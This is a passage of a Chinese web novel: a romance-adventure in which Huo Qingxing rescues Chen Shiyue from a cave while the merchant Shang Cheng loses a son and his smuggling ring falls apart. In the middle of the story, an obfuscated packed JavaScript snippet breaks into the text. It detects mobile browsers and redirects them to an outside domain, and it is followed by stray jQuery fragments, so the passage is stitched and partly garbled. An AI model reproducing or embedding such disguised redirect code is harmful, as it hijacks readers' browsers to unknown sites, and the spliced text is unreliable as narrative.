他的脊背宽厚,承托着她的时候,让人颇为安心,每走一步都是那样沉稳,以至于伏在他背上的时候,陈识月竟有了昏昏欲睡之感。 “霍青行,你怎么找到我的?”她有点困了,紧张过后的放松,让她整个人都松懈下来,“我还以为,自己死定了呢?” 霍青行顿住脚步,“我吃掉了你祖传的秘药,那我就是你的人,所以不管你在哪,我都能第一时间找到你,你休想丢下我。” 她咧嘴笑着,温热的呼吸喷薄在他颈项间,只觉得他微微绷直了身子,喉间下意识的滚动,“没错,你吃了我祖传的秘药,那就是我的人了,以后也要第一时间找到我。” 唇角微扬,他小心翼翼的吐出一口气,“你……认我了?” 第二百三十一章 他发现了,她的异常 这话一出,陈识月都跟着愣了愣。 认? 她与他之间似乎一直都是他在主动,很多时候她甚至保持逃避的态度,倒也不是真的想逃避,而是她太过于清醒。 自己如今的身份是朝廷钦犯,没被发现倒是罢了,毕竟风花雪月……谁不喜欢? 但一旦身份被揭发,他甚至于整个徐家、整个霍家都会受到牵连,她不希望因为自己,牵连那些爱她守护她的家人和朋友。 这是一个艰难的抉择,也是她奢望的存在。 “ 我认的,一直都是认的。”她低低的开口,嗓音里带着几分难受,“但是霍青行,你也该清楚我如今的处境,与我在一起对你来说没有任何好处,你父亲镇守边关,居功至伟,不该被我牵连……” 她的意思已经表达的很明显,如果这件事不能妥善处置,那么等待他们的,是天子一怒,伏尸百万的下场。 “你只管认下便是,其他的事情我自然会处置,身为男儿若是连保护所爱的能力都没有,那他就不该出现在她身边。”霍青行温声开口,“若做不到与你共同承担,我便不会掺合进来,早就该撤手了。” 陈识月忽然不知道该说点什么,毕竟心里暖暖的,连带着鼻尖都略微发酸。 这些日子的相处,她很清楚霍青行是什么性子,既然说得出口,必定会言出必践,一诺千金,他从不是放大话的人。 实际行动,永远比口头承诺更让人安心。 真诚才是必杀技! 陈识月伏在他的脊背上,感受着隔着衣物传来的温热,眉眼微垂,黑漆漆的洞窟忽然就没那么可怕了,有人为自己遮风挡雨,给与你完全的偏爱,这样的感觉……还真是不赖。 “霍青行。”她闭上眼,“刚才有人跟着我,我其实很害怕,可我知道我留给你的记号,你一定看得见,一定能找到我,只要藏好了,别被他们抓住就成。知道有你在,我便也没那么害怕了!” 于是,她就躲起来了。 霍青行的脚步一顿,“我知道你在等我,所以我来了。” 她丢了,他自然是要找的。 她在等,他自然是要来的。 不管怎样,都不能让他的小月儿久等呢! 身后还跟着两个暗卫,只是…… “回来了。”陈识月忽然说。 霍青行皱眉,“什么?” “跟着我的那个人,又回来了。”陈识月嗅到了空气里熟悉的气味,“在我们的后面。” 只是,她不确定到底相隔多远? “走!”霍青行背着她往前走,“有本事就跟着,有能力就上来,若是能在我手里走过几招,就算他厉害。” 要么杀了他,要么就当好这尾巴! 他只想带着她先出去,毕竟这黑灯瞎火的地方待久了,对人的心情是一种重创,是以他只想带着陈识月先离开再说。 这破地方,要多膈应有多膈应。 那人就不远不近的跟着,以至于霍青行都能察觉到对方的存在,但是现在的状况,这地方环境太过陌生,不适合生出太多事端,当以出去为先。 阴冷潮湿之处,不知道藏了多少的秘密,黑暗的角落里随时都会窜出点东西来。 小憩了片刻,陈识月幽幽醒转,轻轻拍着霍青行的肩膀。 “怎么了?再睡会。”霍青行低声宽慰,“有我在,没关系的。” 陈识月开口,“放我下来吧!” 霍青行矮身。 陈识月缓缓下来,然后坐在了暗河边上,“我们走了很久了。” 按理说走了这么久,不可能还在地底下,洞窟再大,也不至于一直走一直走,还在洞窟内吧?四周一点光亮都没有,这得掏空多少山头才能有如此光景? “你是说……我们可能一直在绕圈?”霍青行想过这种可能,但是……环顾四周,太过漆黑,即便是绕路也看不清楚。 陈识月点点头。 走了这么久还是沿着暗河走,还是没走出去,难道不足以说明问题吗? “这要如何是好?”霍青行眉心陡蹙。 火把被插在了地上,边上的暗河翻涌着凌凌波光。 蓦地,霍青行好似看到了什么,下意识的皱了一下眉,再抬头去看正在查看周围地形的陈识月,默默的喉间滚动,张了张嘴想说点什么,但最后还是把话咽回去了。 “沿着暗河走,按理说是可以走出去的。”陈识月抿唇,“但也有例外,毕竟地势这东西太过于多变,所行也不过是靠着往日的经验而已。” 陈识月看了一眼站在边上的霍青行,觉得有些奇怪。 “你盯着我看作甚?想个法子出去吧!”陈识月低头查看自身,似乎也没什么不妥,他老盯着自己看干什么? 霍青行点头,既然是原地绕圈,那就做个记号再开始往前走,毕竟逗留在一个地方太久,肯定不是什么好事。 何况,此前有一条巨蟒,谁知道那东西会不会过来? 又或者是,这里会不会也有什么巨型的物种? 为了安全起见,四个人得凑一起,绝对不能分开走,要不然的话容易出事。 脚下的蛇虫鼠蚁,快速四散开来,无敢靠近陈识月。 若不是火光照应之下,若不是注意力一直在她身上,怕是很难留意到这一点,但霍青行看得很清楚,若说之前可能是自己想太多了,可能是巧合,那么这走来的一路,他几乎可以肯定。 这里面,有问题。 她的身子? 出问题了…… 若陈识月不说,他也不敢多问,小媳妇总想跑,不似他这般死皮赖脸,许是年幼时没有安全感,无人护佑,所以连她自己都不敢相信,她在别人的心里有那么重要。 她会跑! 真的会跑。 遇事就跑的那种! “什么声音?”暗卫忽然开口。 霍青行第一反应是护住了陈识月,死死抓住了她的手,锐利的眸子快速环顾四周,听着吱哇乱叫,不像是人的动静,倒像是别的什么生物。 蓦地,蝙蝠哗啦啦的飞过头顶,惊得众人慌忙抱头蹲下。 霍青行当即用外衣套住了陈识月,将她抱蹲在自己的怀中,死死的护住她,只瞧着一大群蝙蝠,成黑压压的一片,从自己的头顶飞过。 蝙蝠? 山洞里有蝙蝠,是很正常的事情。 但是蝙蝠过去之后,那个吱哇乱叫的声音依旧没有停止,而是愈发靠近。 “怎么了?”陈识月探出头来。 霍青行牵着她起身,两暗卫慌忙拔出了剑,“少将军快走。” 第二百三十二章 抱我 到了这个时候,犹豫迟疑都是致命的,所以霍青行几乎没有任何的耽搁,牵着陈识月的手便跑,哪怕是绕圈跑又能如何?只要跑就对了。 身后,响起了刀剑劈砍的声音,伴随着暗卫哼哧哼哧的动静。 陈识月一声不吭,跟着霍青行跑,这东西无毒,但不是什么好东西,有毒的是不敢轻易靠近自己的,因为她呀……可能比它们都毒。 “这东西可能没有毒。”陈识月开口,“但是很凶。” 陈识月这话一出,霍青行就明白了她的意思,“找个地方躲起来,我能处理。” 他的能力,足以应付,只是摸不透对方的来路,也不能确保她的安全,才会带着她快速逃离,可逃离不是办法,因为后面穷追不舍。 幽暗中,那些东西一拥而上,扑向了两个暗卫的同时,也扑向了停在原地的霍青行。 陈识月快速钻到了岩石后面,因为身形狭窄,蜷缩着就躲了进去。 霍青行眼疾手快,一脚就将一块石头踹飞,刚好卡在入口处,正好将陈识月遮挡得严严实实,只留下石缝让她能安然呼吸。 手中剑在手,来一个杀一个,什么牛鬼蛇神,到了他跟前都只有一个死字! 刹那间,鲜血迸溅。 吱哇乱叫的东西,本来就是疯癫无状,原以为围捕会成功,可没想到冲一片死一片,有一只畏惧之下掉头就逃走,剩下的便撑不住了,旋即跟着跑。 畜生嘛,本来就是靠着本能捕食。 一只跑路,其他都会跟着逃走…… 借着火光照亮,终于看清楚了,好像是山中的野猴?这吱哇乱叫,吵得人脑瓜子嗡嗡作响,很容易手忙脚乱,失了方向。 两个暗卫都有所受伤,毕竟黑乎乎的地方,劈头盖脸冲上来一群猴,毫无章法,乱抓乱挠,还在你耳边吱哇乱叫,换谁不得疯? 不要小看这些猴群,于此处生长免不得脏污,是以这爪子锋利至极,并且可能携带一些不知名的病菌,可能会导致感染或者是其他致命的病症。 当然,这与下毒的毒不一样…… 所以猴群不怕陈识月,它们单纯只是想捕食,单纯想要驱赶闯入领地的陌生气息。 “小月儿?” 霍青行掀开了石块,将里面的陈识月搀了出来。 没事了! 两个暗卫满身狼狈,身上血淋淋的,好在暂时都不是致命伤。 “这猴爪不干净,我们得想办法出去。”陈识月极为忧虑。 这要是一直出不去,那…… “走!”霍青行牵着她继续走。 蓦地,陈识月转身。 “怎么了?”霍青行与两暗卫旋即再度警戒。 那气味消失了。 “那个人消失了?”陈识月皱眉。 哦不,不是消失了,而是成了猴群的……攻击目标。 吱哇乱叫的声音,伴随着女子的厉喝,此起彼伏的,可想而知场面有多激烈,但这不是咎由自取吗?简直是活该。 “走!”陈识月笑了一下。 霍青行看得愣了愣。 “怎么了?”她不解。 霍青行唇角轻扬,任由她不经意的握住他的手,带着他往前走,有时候人的习惯是很可怕的,你硬生生的挤进去,让她逐渐适应,最后变得像是呼吸一般顺畅自然,然后就真的不会跟你见外了。 既然不见外,那就是内人? 是这个理儿吧? 不知道是不是因为那人被猴群攻击,导致有些东西受到了重创,这一次他们沿着暗河走,居然没有再原地打转,而是真的看见了洞口。 有光从头顶落下,那是希望。 深吸一口气,霍青行伸手抱住了陈识月的腰肢,“能抱紧我吗?” “能!”她毫不犹豫的回答。 她主动的伸出胳膊,抱住了他的脖颈,任由他坚实有力的胳膊,箍住她纤细的腰肢,将她牢牢的锁在怀中。 边上有藤蔓,又怪石嶙峋,可以拽着藤蔓,以乱石为脚下垫,攀缘直上,冲出这诡谲幽暗的洞窟。 “你们做好准备,随我一同上去。”霍青行睨了一眼两暗卫。 “是!” “是!” 下一刻,陈识月猛地倒吸一口冷气,只觉得整个人忽然失重,然后便是耳畔的风呼呼响,她死死抱紧了霍青行,恨不能整个人都埋他怀里去。 及至落地的瞬间,她的身子都还有些轻微的颤,这被人甩来甩去的滋味,实在是不好受。 所幸…… 一切安好。 “好了。”耳畔,传来他磁重而温柔的低唤,“小月儿,别怕。” 落地了。 安全了。 “我们出来了。”他又道,双臂死死的抱紧了她,让她能安心。 陈识月呼出一口气,终是探出头来看了看。 脚下的踏实感,周围的光亮,好像带来了新生,此前在洞窟内的窒息感和茫然,顷刻间一扫而光,人果然应该活在阳光下,才能生出对活着的向往。 幽暗之处鬼魅生,的确不适合活人待着! “出来了!”陈识月长长吐出一口气。 确定她站稳了,没什么大碍,霍青行才慢慢松开手,看着她撤出自己的怀抱,一脸释怀的站在阳光底下,唇角挂着轻松的笑意。 她笑,他也不由自主的跟着笑,若痴汉一般目不转睛的盯着她。 不过,身后的两个暗卫显然没那么舒服了。 一声哼唧,一人倒地。 陈识月心惊,忙不迭转身回去,瞧着二人脸色潮红,各自呼吸微促,可见不是什么好事,怕是因为那群猴子的缘故。 身上的血痕其实不深,毕竟是暗卫,即便被猴子挠了,也只是皮外伤,但……爪子太毒了。 “起热了。”陈识月眉心微蹙,“赶紧去树荫底下,我先看看伤口。” 霍青行也没有犹豫,她怎么说,他就怎么做。 事实证明,陈识月最担心的事情还是发生了,可她的随身小包被没收了,里面有她的药,不知道还在不在那个小院里? “这可如何是好?荒郊野外的。”陈识月满面愁容,站起身来环顾四周,“霍青行,能不能带我回那个院子,不知道我的那个小包还在不在那边?” 霍青行敛眸,“还能走吗?” 暗卫满面潮红,但好歹是习武之人,坚持坚持还是可以的。 “走!”这个时候,不能再耽搁了。 陈识月当时是靠腿跑出来的,那四合院不太远,策马一段路,跑的确需要时间,好在霍青行的速度够快,抱着她一路用轻功狂奔,自然比受伤的暗卫快了许多。 他抱着她落在了四合院外头,示意她先不要动,“我先去铺路。” 陈识月:“??” 音落,人已经蹿了出去。 陈识月心惊,要小心! 第二百三十三章 他舍不得她心疼 霍青行做事,自然是小心谨慎,且一旦动手就不会给对方还手的机会,内里传来打斗声的时候,陈识月止不住伸长脖子,可惜什么都瞧不见。 动静不小,但很快就归于寂灭。 陈识月皱了皱眉,却不敢有进一步的举动,仍是在原地待着,及至霍青行出来找她,她这颗心总算可以落回去。 “走!”霍青行示意她出来。 内里已经解决妥当,他才敢让她进来。 “莫要踩着血。”霍青行提醒。 他知道,她不怕**,也不怕鲜血淋漓的场面,只是这些血若是脏了她的鞋袜,委实不该。 “嗯!”陈识月走得仔细,不曾让这些脏污沾了鞋袜。 推开一道门,进了一个房间,此处有简单的床褥,想必是个休息的地方,她的随身小包就被丢在柜子里,许是来不及验看她内里到底装了多少东西,毕竟这么多的小竹棍和小瓷瓶,杂七杂八什么都有。 更可怕的是,这里面的东西全都没有分门别类,就算落在了别人的手里,也找不出哪个是解毒的,哪个是剧毒。 正因为如此,又加上时间紧迫,所以暂时没有人敢动里面的东西…… “如何?”霍青行问。 陈识月随手翻看了一番,“差不多都在呢!” “那就好。”霍青行如释重负。 这里面的东西有多难得,她要操持多久才能得到,此前在楚家,他都是亲眼所见,看着她一点点的配药、煎药、熬夜。 正因为如此辛劳,才换来了这随身小包里的万千世界。 这,都是陈识月的心血。 她舍不得,他更舍不得。 “收好了。”霍青行道,“都是你的宝贝。” 陈识月很高兴,“没错,都是我的宝贝,走,救人去!” 有这些东西在,就算不能力挽狂澜,也能让人暂时活下去。 两个暗卫已经到了外面,这会脸色一个比一个难看。 “别动气,靠在树下别动。”陈识月安抚二人,快速取出了针包,“我帮你们先护住心脉。” 那些猴子爪子有毒,所以这个时候不能再耽搁了。 霍青行就静静的站在边上,随时防范着有人来袭,她行她的医,他做她的护卫。 这边倒还算安静,有霍青行在,便也没什么大碍。 只不过那边的诗文大会,却是真的乱了起来,一下子闹得厉害,随处可见的蹦跑众人,以及肉眼可见的凌乱。 空气里弥漫着浓郁的血腥味,本就是一帮手无缚鸡之力的学子和书生,因着此刻的**,当下乱得厉害,尖叫着嘶喊着,拼命的朝着外面走去。 “这边!从这边过去,大家不要乱,不要着急,此处最为安全,内里全是咱们商家的护院和江湖高手,绝对可以保证诸位的安全。”商府的管家在大声吆喝,所有人都跟着喊。 人在慌乱的时候,有时候是很难用清澈的思维去思考问题的,就比如说现在,所以当有人这样喊,大家都往这里跑的时候,众人几乎是随大流的冲了过来。 二楼的台子上,商城连同一帮打手,就这么目不转睛的盯着底下的动静。 他们实在是找不到人,所以只能用这样的办法,投石问路,抛砖引玉。 不动起来,如何能有破绽可寻呢? 所以在找寻无果的时候,他们就让人假装出了命案,忽然有人喝了茶,然后哇哇吐血,直接倒地装死,以至于吓得边上的书生失声尖叫。 这一喊,可不就把所有人都吓着了吗? 再回过神来,不知道从哪儿射出来一支箭,正中一人的心口。 时间仿佛静止,所有人都懵了一下,紧接着便爆发了凄厉的惨叫,“**了!**了!” 诗文大会的场地是临时搭建的,基于前几年的基础上日益完善,周围都是商家的护院,只要一出事,护院就会出动。 说时迟那时快,所有人都开始动起来,第一时间朝这边跑的,大概都是真正的书生和学子,而站在原地观望,且面无惧意的,恐怕就是商家要找的人。 果然,在角落里的确有这几个人,正在左右张望着,瞧着像是在确认什么。 “那几个!抓起来!”商城沉着脸。 顷刻间,大批的护卫就朝着那边冲过去。 见此情形,还有什么不明白的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478321|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快,跑!” 到了这会,这几人忙不迭朝着外面冲去,可现在想冲去就没那么容易了,大批的护院已经将人团团围住,几乎没有任何的犹豫,旋即动手。 商城大喜过望,这一次绝对不能放过他们。 眼见着快要把人拦下,谁知一批黑衣人忽然从天而降,自屋顶纷纷落下,紧接着便一人挟起一个,纷纷踩着既定的路线,跳上了屋脊。 “别让他们跑了,追!”商城气急败坏。 绝对不能让这些人,跑出去,万一逃出了永安县…… 该死的! 追! 事已至此,只能破罐子破摔。 街上,乱成一团。 商城气急败坏的,让人去追,无论如何都要把人追回来,但他没想到的是,前面折腾得厉害,后院也跟着折腾。 商野好像快不行了,不只是商野,便是商武……明明瞧着已经有所好转,但不知道为什么,情况忽然急转直下,明明已经可以正常的吃饭喝水,怎么会忽然这样? “什么?”商城傻眼了。 他就这么两个儿子,若是全没了…… “大夫呢?大夫呢!”商城咬牙切齿。 所做的一切,都只是为了荣华富贵,但若是儿子都没了,他都这般年岁了,还要荣华富贵做什么?这荣华富贵留下来给谁? 商城的脸色,不可不谓之难看,连带着身子都在轻微颤抖。要不是身边的人眼疾手快,当下搀了他一把,只怕这会已经瘫软在地。 “大夫……失踪了。” 底下人只能小心翼翼的回答。 这事,可是夫人一手操办,若是有什么问题,那也是夫人的问题,跟任何人都没关系。 月大夫丢了! 两位公子怕是凶多吉少。 “该死的!”商城看着远去的护院,“立刻去追,我回家一趟。” “是!” 回家也没用,高秀娥已经哭得几近晕厥,那丧良心的长乐门,还说什么绝对没有大碍,谁曾想眨个眼的功夫,全都跑了。 这下子,家里全乱套了。 “我的儿啊!我的儿……” 第二百三十四章 儿子死了 商城顿住脚步,就这么站在原地好半晌都没能回过神来,这样凄厉的哭声意味着什么,其实每个人的心里都很清楚。 “老爷?老爷?” 底下人连呼几声,这才让商场回过神来。 陈识月失踪了,所以对商家两兄弟的治疗便也就此中断,如此一来,此前被生生压制的病势,如今全部一股脑全部发作起来。 商武躺在那里昏迷不醒,身上的伤口再度红肿,因为陈识月开的药,都是每日在调整的,所以这两日沿用的还是之前的汤药,如今喝下去虽然有点效果,但效果不尽如人意。 最惨的还是商野,眼见着只剩下一口气。 商城冲进去的时候,商野的呼吸已经几不可察,眼见着只剩下了一口气,所以只要不傻,都很清楚这意味着什么。 “老爷!老爷……”高秀娥哭得喘不过气来,见着商场进来,旋即扑了过去,“老爷,儿子不行了,不行了……” 商城推开了她,忽然揪住了一旁的大夫衣襟,“给我治!治啊!今日若是治不好我儿子,我就要你们好看!都给我治!一个女子都能治得好的事儿,你们这些老东西为什么就不行?难道你们的经验还不如一个女流之辈吗?” 一个小丫头片子都能治好,为什么这些人就不可以了? 商城觉得自己快要疯了,眦目欲裂,目色猩红,凶狠的神情好似要吃人一般,“治!给我治!” 可惜…… 还是晚了。 床榻上的人,逐渐没了气息。 “儿啊!我的儿!”高秀娥哭得厥过去。 “夫人!夫人!” “快,把夫人先抬下去。” 屋子里,乱成一团。 商城好似丢了半条命,“还有一个,在隔壁,马上去,马上去!” 大夫不敢耽搁。 “老爷,请徐家的老太爷来一趟吧?东家也可以。”管家忙道,“否则怕是连大公子也保不住啊!” 没了一个二公子,已经是挖心掏肺,若是连大公子都没了,商家以后的日子要怎么过? 老爷为了荣华富贵绞尽脑汁,可最后无人继承家业,两个儿子若是全部死了,那……那还有什么意义呢?再多的银子拿在手中,也不过是买个贵点棺材,再无他用。 大夫都去照看商武了,商城则坐在了床边,瞧着身子逐渐冰凉的商野,终是放声痛哭,这是他最宠爱的儿子,平日里也是嘴甜得紧,可现在已经成了一具冰冷的尸体。 丧子之痛,如何能忍受? “我的儿啊……”商城老泪纵横,“来人,去请徐氏医馆的东家,就算是绑,也要把人给我绑回来,无论如何都要让他来给我儿子看病,无论如何都要保住吾儿的命!” 两个儿子,不能全没了。 月大夫? 呵,我终不会放过你! 这里面若说没有陈识月的手笔,谁都不会相信,毕竟肉眼可见的好起来了,在离开了陈识月的诊治之后,状况会急转直下,只能说明她在这里做了手脚。 所有人都放松警惕的时候,就是被黑暗反噬的机会。 她可能预料到了,商家会对她出手,所以在诊治的时候就留了一手,这就导致所有的一切在她乍然消失之后,全体崩盘。 大夫能救人,也能杀人于无形。 可惜,等商家反应过来……为时已晚。 惯来小心谨慎的人,怎么可能什么都不做呢? 相比起商野,商武的伤势从一开始就没那么严重,所以伤势反复之后,经过大夫的诊治,堪堪保住了一条命,但还是有危险,毕竟伤口正在急速恶化,能不能真的活下来,还得看后续的恢复情况。 如此,倒是能让人松一口气。 “找到那个女人,我定要她付出百倍的代价!”商城目色猩红,转身夺门而出,他倒要去问问,究竟是为何? 推开门的那一刻,商城就揪住了那人的衣襟,“那个女道士在哪?把那个贱人交出来,我儿子死了,我要她们付出代价!” 男人站在原地,倒是一点都不着急,瞧着情绪激动的商城,只轻飘飘的来了一句,“我们是一条船上的人,我还能害你不成?” “我儿子死了,你没听到吗?我要姓霍的,还有月大夫给我儿子偿命!你们长乐门也休想置身事外,若不是你们把狗屁大夫带走了,我儿子怎么会死?你们没一个是无辜的!”商城咬牙切齿,“你们都是凶手,是你们害死了我儿子!” 老年丧子,怎不悲痛? 人间悲剧? 呵…… 男人轻呵一声,“商城,掺合进这些事是你自愿的,这能怪得了谁?诸事皆有因果,如今怪谁都没用,还不如好好的办事,等到清算的时候,能如你所愿。” 说着,他拂开了商城的手,重新落座,“那几个人已经抓住了,如今正在确定身份,一旦确认是朝廷的人,那就是生死攸关的时候。儿子没了,你就找个人重新生,若是真的不好找,那咱们给你找也是一样的。何必拘泥于眼前的蝇营狗苟?咱是干大事的人,不可儿女情长。” 商城忽然懵了,眼底猩红的盯着他。 “长乐门不会亏待你的。”男人继续说,“贵人也不会亏待你,你身后的那些人,更不会亏待你。商家还愁什么女人和孩子吗?商城,你要相信你自己,有时候不要被那一点情分迷了眼,往后有权有势,还怕后继无人吗?” 商城扶着桌案,慢悠悠的坐下来,却是一句话都说不出来。 “当然,如果抄家灭族的话,那就不是女人和孩子的问题,而是你自己……能不能活下来?”男人这一句话,堵得商城再也不敢说话。 抄家灭族…… 谁死都成,自己不能死。 人都是贪生怕死的,不管什么时候都一样,荣华富贵的前提是活着,只有活着才能享受到所谓的富贵,人性的本质就是自私。 “商城,我们的目标一致,有时候不要拘泥于眼前。”男人阴测测的开口,“目光放远点,以后的好日子还多着呢!财富,名利,美人,子嗣,你要什么没有?” 商城好似被说服了,忽的笑了,“说得没错,所以眼下最要紧的,还是朝廷的郎官,私盐的事情绝对不能让他们抓住把柄。至于徐家嘛……” “搞定了这件事,我长乐门可以跟你保证,永安县再不会有徐家这些人。”男人喝了口水,“秋后算账,一并了账!” 商城面露凶狠之色,“好!” “老爷,人抓住了!” 第二百三十五章 再不跑,就来不及了 人找到了?! 好事! 几个人被蒙着眼睛,绑住了双手,推搡着进了黑漆漆的房间,一时间所有人脸上的惊慌是如此清楚明白,他们想喊……奈何嘴巴被堵得严严实实,压根无法喊出声来。 “就是他们几个?”商城愣了愣。 上下打量着这些人,便衣轻衫,瞧着似乎没什么异常,与寻常人无恙,若不是乱糟糟的时候,唯有这些人在左顾右盼的,想要找寻什么,大概是不会被找出来丢在这里的。 “是!” 底下人颔首,一个个都手持钢刀,于昏暗中绽着冷冽的寒光,仿佛随时都会动手。眼下这种状况,要么是他们死,要么是大家都死! 商城蹲下来,瞧着被丢在地上的众人,冷不丁捏起了其中一人的脖颈,“说,你们是什么人?” 什么人? 扯下他们嘴上的布团,商城裹了裹后槽牙,所有的耐心都耗尽了,“说!” “我们就是来赶诗文大会的,你们到底是什么人?为何要将我们抓起来,为何要把我们丢在这里?你们、你们想干什么?”男人惊慌失措,嗓音里带着明显的哭腔。 都是手无缚之力的书生,怎么不怕? 好端端的来赴诗文大会,本来是文雅之事,结果一眨眼的功夫,自己就被人绑起来了,然后还丢在这地方,瞧着周遭众人手中明晃晃的刀子,这不就是想杀人吗? 谁不怕? 怕都怕死了! “狗屁,你们是金都来的吧?”商城不想再绕弯子。 男人摇头,“我们是齐州来的,打算赶往金都。” “齐州?” 这不对啊! 商城心头一窒,恍惚间,觉得这件事可能要生出变故了,不由得变了脸色,“你们以为自己装得好,就能瞒过我的眼睛吗?金都来的刑部郎官,盐铁转运司的人。” “什么郎官?什么转运司?”众人面面相觑。 商城不信,“你们还敢装?” 顷刻间,底下人冲上去,一顿拳打脚踢。 这些书生被打得嗷嗷叫,一个两个眼泪鼻涕糊了一脸,瞧着还真是像那么回事。 商城心里没底,转身出了门。 “好像不太对。” 男人就在隔壁房间里待着,听得这话,也不由自主的黑了脸,如果抓错了人,那就意味着已经打草惊蛇,那些人到底还混在人群里,还是被疏散开来,又或者是悄无声息的潜入了其他地方,这可都说不定。 “不管对不对的,这些人既然进来了,那就不可能活着离开,免得消息泄露,到时候可就真的要抄家灭族了。”男人缓过神来,“再问一问,实在不行就用点手段,总归不能就这么算了。” 商城当然也知道,不能就这么算了,可还能用什么手段呢? 这些人不是不说,而是真的说不出来,只一味的解释,自己就是来赴诗文大会的,真的不是什么刑部郎官,不是什么转运司的人。 “老爷。”底下人上前,“搜查了他们的包袱,里面……里面没有郎官的印鉴,也没有任何的……跟金都有关的东西,只有日常换洗衣裳还有笔墨纸砚,以及几本书册。” 这些都足以说明,出门所带皆是日常所需,并无任何的异常,他们也不是刑部的郎官,不是转运司的人,真的……抓错人了! 如果只是处理这些人倒也罢了,毕竟都不过蝼蚁,到时候死了也就死了,可问题的关键是……刑部的郎官和转运司的人都在哪? 所有人都是如此,沉默着仿佛在等待从头顶落下的刀子。 快完了! “继续找!”商城冷着脸,“务必要把人找到!” 再不找到,他不但赔了儿子,还得搭上所有人的命。 所有人再度出去找人,无论如何都要把人找到,事关所有人的脑袋,没人敢耽搁,只是经过这么一闹腾,诗文大会早就乱了套,所有人散的散,跑出去的跑出去,即便刑部的人还在,也混迹在人群中,再难轻易找到。 商家的人还在找寻着,忽然间有人急急忙忙的冲过来,“老爷,出大事了!” 何止是出大事了,简直是乱套了。 长乐门在永安县的明哨暗哨被端了个干净,堂内的所有人不是死了,就是失踪,所有的卷宗和密信都消失不见,可想而知落在了何处。 不仅如此,连商城的书房都被人端了,所有的账册和往来密信,都已经被人取走,甚至于后院都被人放了一把火,整个商府乱作一团。 商城知道,要出大乱子了! “完了,全完了!” 商城冲回了府邸,瞧着书房里的凌乱不堪,慌忙打开了密阁。 密阁里,空空如也。 没了! 都没了! 完了,全完了! 到了这个时候还有什么可说的? 事已至此,只能是断臂求生了。 “去,立刻把夫人找来,抬也要把她抬过来。”商城面色惨白,绝望到了极点,他很清楚接下来会发生何事,“通知码头的仓库,还有所有的商铺都立刻关门歇业,所有人立刻出去避一避。” 能跑一个算一个。 你以为他这是良心发现? 错。 他是怕被抓的人太多,到时候一个个把他供出来,只有让所有人跑路,分散朝廷的注意力,自己才能有机会脱身。 原本可以死在半路截杀中的金都郎官们,却出现在永安县。 原本可以轻而易举抓住的人,如今消失无踪。 仔细想想,从霍青行出现的那一刻开始,事情似乎就已经不受控制了,这些年在永安县的安逸日子,相安无事的麻痹之下,让商城忘了脖子上的剑,此刻剑落下,才知道有多疼。 得意忘形,是要付出代价的! 如今,就是讨还这代价的时候。 “老爷?”高秀娥还有半条命,面色惨白得厉害,“野儿他……” 商城摆摆手,底下人快速退下。 “马上带着武儿离开,不要任何的犹豫,能走一个算一个,我们分头走,等安全了再联络,你往南走,不管走多远都成!”商城没给她哭天喊地的机会。 高秀娥愣住。 “带着儿子走,一个已经没了,不能连另一个都保不住。”商城咬着牙,“听明白了吗?” 高秀娥哆嗦得厉害,“为何?” “刑部的人跑了,书房被撬开,连长乐门都难以幸免,你说为何?”商城眼底的绝望,是显而易见的,“带着家里人,赶紧离开吧!” 高秀娥浑身无力,几乎要瘫软下来。 “别愣着了,快!”商城厉喝,“你不想全家老小都死在这里吧?” 再不跑,就来不及了! 第二百三十六章 跑不了 高秀娥收拾了东西,带上了昏迷不醒的商武,这会是马不停蹄的离开。 商城已经把话说得这么清楚,所以没什么可犹豫的,要想自己活命,儿子活下来,高秀娥就得重新打起精神来,已经没了一个儿子,不能连另一个都保不住。 一个时辰之后,马车快速离开了商府…… 徐玉安裹了裹后槽牙,“他们想跑。” “那断然不能让他们跑了,这地头蛇耀武扬威太久了,永安县若是没了他们,不知能有多太平!”徐玉莹哼哼两声,“连表姐都是让他们害得失了踪,这件事不能就此罢了!” 徐玉安看向她,“走!” 父亲和母亲,还有林序他们都在找陈识月,剩下徐玉安和徐玉莹兄妹二人,实在是帮不上忙,那干脆就做点别的。 想跑? 门都没有。 害了他们家月儿表妹,还想全身而退? 坏了他们那么多药材,想要就此了账? 不可能! 要出永安县自然得乘船,马车快速朝着码头而去。 徐家兄妹绕道,策马而追。 消息已经随扈去通知生伯,这件事肯定不能就这么算了,想来林序和安信他们肯定也盯着呢,就是不知道这会他们人在何处? 码头。 高秀娥让人抬着晕厥的商武,上了最大的船只,那是商家专用的船只,一箱箱的东西也跟着往上送,瞧着那些人使劲的模样,每一箱都是沉甸甸的,十有八九都是金银财帛。 这些年,商家明里暗里囤了那么多的银子,这会出逃必定会全部带上…… “走!”徐玉安冲着妹妹使了个眼色,二人猫着腰从船尾绕过去,然后爬上了船。 船,很快就开了出去。 高秀娥红着眼,瞧着躺在那里一动不动的儿子,一口气卡在嗓子眼里,咽不下吐不出,但到了这个时候,也只能忍着了。 船舱里,兄妹二人左顾右盼,确定没什么人,这才快速从雨布后面钻出来。 “哥?”徐玉莹开口,“这么多箱子。” 打开一个。 哇哦。 金光闪闪。 打开第二个。 哇哦。 “哥,我眼睛快瞎了。”徐玉莹伸手,摸了摸内里的大元宝,“商家有这么多银子啊!” 徐玉安的脸色却难看到了极点,“不知道害了多少人,才能积攒这么多的财富,而你我所见不过冰山一角,还有大批的财富不知藏匿在何处。” 只这些,都不知道寻常百姓,几辈子都吃不完。 “坏事做绝,断子绝孙。”徐玉莹啐了一口。 徐玉安回过神来,“走!” 且看看,他们到底要如何? 船只快速前行,也不知道过了多久,总算靠了岸。 “哥,到了!”徐玉莹轻轻摇晃。 徐玉安正在打盹,愕然回过神来,“到了?” “嗯!”徐玉莹点头。 船停了。 那些人就开始搬运东西,马车先上岸,然后就各种挪运。 趁着他们搬弄的时候,两兄妹快速混上了岸,快速躲在了码头边的树后,若有所思的盯着那边的举动,瞧着他们这会又麻溜的装车,不知道是要前往哪个方向? “哥,你说他们想往哪儿跑?”徐玉莹问。 